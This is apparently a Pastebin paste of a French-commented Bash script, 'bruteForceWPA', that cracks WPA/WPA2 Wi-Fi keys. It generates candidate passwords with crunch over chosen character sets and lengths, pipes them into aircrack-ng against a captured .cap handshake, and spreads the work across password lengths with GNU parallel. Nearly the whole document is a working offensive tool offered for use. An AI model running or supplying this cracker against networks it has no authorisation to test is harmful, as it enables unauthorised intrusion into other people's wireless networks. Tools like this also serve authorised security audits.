Guest User

hackademics - rodrigue daniel - wpa

a guest
Jan 1st, 2016
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 7.77 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. # bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
  4. # Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
  5. # Mon blog : rodriguedaniel.blogspot.com
  6. # 16/08/2015
  7. # Dépendances : crunch, aircrack-ng, parallel (version 3)
  8. # Testé sur Ubuntu et Kali Linux
  9.  
  10. set -u
  11.  
  12. ###########################################################################################
  13. # Definitions des variables
  14. mini="" # variable contenant la longueur minimale des mots de passe
  15. maxi="" # variable contenant la longueur maximale des mots de passe
  16. ensCarac="" # variable contenant l'ensemble des caractères à utiler
  17. numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
  18. fichierCap="" # variable contenant le fichier .cap à craquer
  19. chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
  20. option=""  # variable contenant les options
  21. optionSeul=""  # variable spécifiant le traitement unique de l'option -h ou --help
  22. comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
  23. versionParallel="" # variable contenant la version du programme parallel
  24. # Ensemble des caractères à utiliser
  25. format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
  26. format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
  27. format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
  28. format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
  29. format42="'"
  30. format43='<>,.?/ ]'
  31.  
  32. ###########################################################################################
  33. # Debut du script
  34. version="0.2"
  35.  
  36. clear
  37. echo -e "\e[00;31m###########################################################\e[00m"
  38. echo -e "\e[00;31m#                                                         #\e[00m"
  39. echo -e "\e[00;31m#  bruteForceWPA : crack wifi (WPA/WPA2)                  #\e[00m"
  40. echo -e "\e[00;31m#                                                         #\e[00m"
  41. echo -e "\e[00;31m###########################################################\e[00m"
  42.  
  43. # Vérification du mode root
  44. if [[ $EUID -ne 0 ]]; then
  45.         echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
  46.         exit 1
  47. fi
  48.  
  49. # Vérification de la présence du programme crunch
  50. which crunch >/dev/null
  51. if [ $? -eq 1 ]; then
  52.         echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
  53.         exit 1
  54. fi
  55.  
  56. # Vérification de la présence du programme aircrack-ng
  57. which aircrack-ng >/dev/null
  58. if [ $? -eq 1 ]; then
  59.         echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
  60.         exit 1
  61. fi
  62.  
  63. # Vérification de la présence du programme parallel et de sa bonne version
  64. which parallel >/dev/null
  65. if [ $? -ne 0 ]; then
  66.         echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
  67.         exit 1
  68. else
  69.         versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
  70.         if [ $versionParallel -lt 3 ]; then
  71.              echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
  72.              exit 1
  73.         fi
  74. fi
  75.  
  76. while getopts ":a:c:f:g:hm:p:-:" option ; do
  77.  if [ "$option" = "-" ] ; then
  78.   case $OPTARG in
  79.    help ) option=h ;;
  80.    #max ) option=g ;;
  81.    #min ) option=p ;;
  82.    * ) echo "$(basename $0): Option inconnue $OPTARG"
  83.        echo -e "Essayer '$0 --help' pour plus d'information.\n"
  84.        option=""
  85.        ;;
  86.   esac
  87.  fi
  88.  case $option in
  89.   h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
  90.       echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
  91.       echo "Syntaxe : $0 [option...]"
  92.       echo -e "\nOptions :"
  93.       echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
  94.       echo ""
  95.       echo -ne "\t"
  96.       echo $format1
  97.       echo -ne "\t"
  98.       echo $format2
  99.       echo -ne "\t"
  100.       echo $format3
  101.       echo -ne "\t"
  102.       echo -n $format41
  103.       echo -n $format42
  104.       echo $format43
  105.       echo -e "\t (Par défaut l'option -a est pris en compte)"
  106.       echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
  107.       echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
  108.       echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
  109.       echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
  110.       echo " -h, --help : Cet écran d'aide."
  111.       echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
  112.       optionSeul="o"
  113.       exit 1
  114.       ;;
  115.   a ) if [ "$optionSeul" != "o" ] ; then
  116.        if [ "$comSyntOpt" = "m" ] ; then
  117.          echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
  118.          echo -e "Essayer '$0 --help' pour plus d'information.\n"
  119.          exit 1
  120.        else
  121.         numEnsCarac=$OPTARG
  122.         case $numEnsCarac in
  123.                 1 ) ensCarac="mixalpha-space";;
  124.                 2 ) ensCarac="mixalpha-numeric-space";;
  125.                 3 ) ensCarac="mixalpha-numeric-symbol14-space";;
  126.                 4 ) ensCarac="mixalpha-numeric-all-space";;
  127.         esac
  128.       fi
  129.      fi
  130.      ;;
  131.   c )if [ "$optionSeul" != "o" ] ; then
  132.       chaineEssid=$OPTARG
  133.      fi
  134.      ;;
  135.   f ) if [ "$optionSeul" != "o" ] ; then
  136.        if [ "${OPTARG##*.}" != "cap" ] ; then
  137.           echo "Nom fichier incorrect"
  138.           echo -e "Essayer '$0 --help' pour plus d'information.\n"
  139.           exit 1
  140.        else
  141.           fichierCap=$OPTARG
  142.        fi
  143.       fi
  144.       ;;
  145.   g ) if [ "$optionSeul" != "o" ] ; then
  146.           maxi=$OPTARG
  147.       fi
  148.       ;;
  149.   m ) if [ "$optionSeul" != "o" ] ; then
  150.        if [ "$numEnsCarac" != "" ] ; then
  151.            echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
  152.            echo -e "Essayer '$0 --help' pour plus d'information.\n"
  153.            exit 1
  154.        else
  155.            ensCarac=$OPTARG
  156.            comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
  157.        fi
  158.       fi
  159.       ;;
  160.   p ) if [ "$optionSeul" != "o" ] ; then
  161.           mini=$OPTARG
  162.       fi
  163.       ;;
  164.   : ) if [ "$optionSeul" != "o" ] ; then
  165.        echo "Argument manquant pour l'option -$OPTARG"
  166.        echo -e "Essayer '$0 --help' pour plus d'information.\n"
  167.        exit 1
  168.       fi
  169.       ;;
  170.   ? ) if [ "$optionSeul" != "o" ] ; then
  171.        echo "$(basename $0): Option inconnue $OPTARG"
  172.        echo -e "Essayer '$0 --help' pour plus d'information.\n"
  173.        exit 1
  174.      fi
  175.      ;;
  176.  esac
  177. done
  178.  
  179. # Exécution du crack de la clé WPA/WPA2
  180.  
  181. i=${mini:-5}
  182. j=${maxi:-15}
  183.  
  184. if [ $i -eq $j ] ; then
  185.         echo "1" > /tmp/temporaire
  186.         echo "$i" >> /tmp/temporaire
  187. else
  188.         while [ $i -le $j ] ; do
  189.                 echo "$i" >> /tmp/temporaire
  190.                 i=$((i + 1))
  191.         done
  192. fi
  193.  
  194. bruteForce ()
  195. {
  196.  if [ "$numEnsCarac" = "" ] ; then
  197.        ( crunch $1 $1 $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
  198.  else
  199.        ( crunch $1 $1 -f charset.lst $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
  200.  fi
  201. }
  202.  
  203. if [ "$optionSeul" != "o" ] ; then
  204.  if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
  205.       echo "Les options -c et -f sont obligatoires"
  206.       echo -e "Essayer '$0 --help' pour plus d'information.\n"
  207.       exit 1
  208.  else
  209.       export -f bruteForce
  210.       export numEnsCarac
  211.       export ensCarac
  212.       export fichierCap
  213.       export chaineEssid
  214.       parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
  215.       rm /tmp/temporaire
  216.  fi
  217. fi
  218. exit 0
Add Comment
Please, Sign In to add comment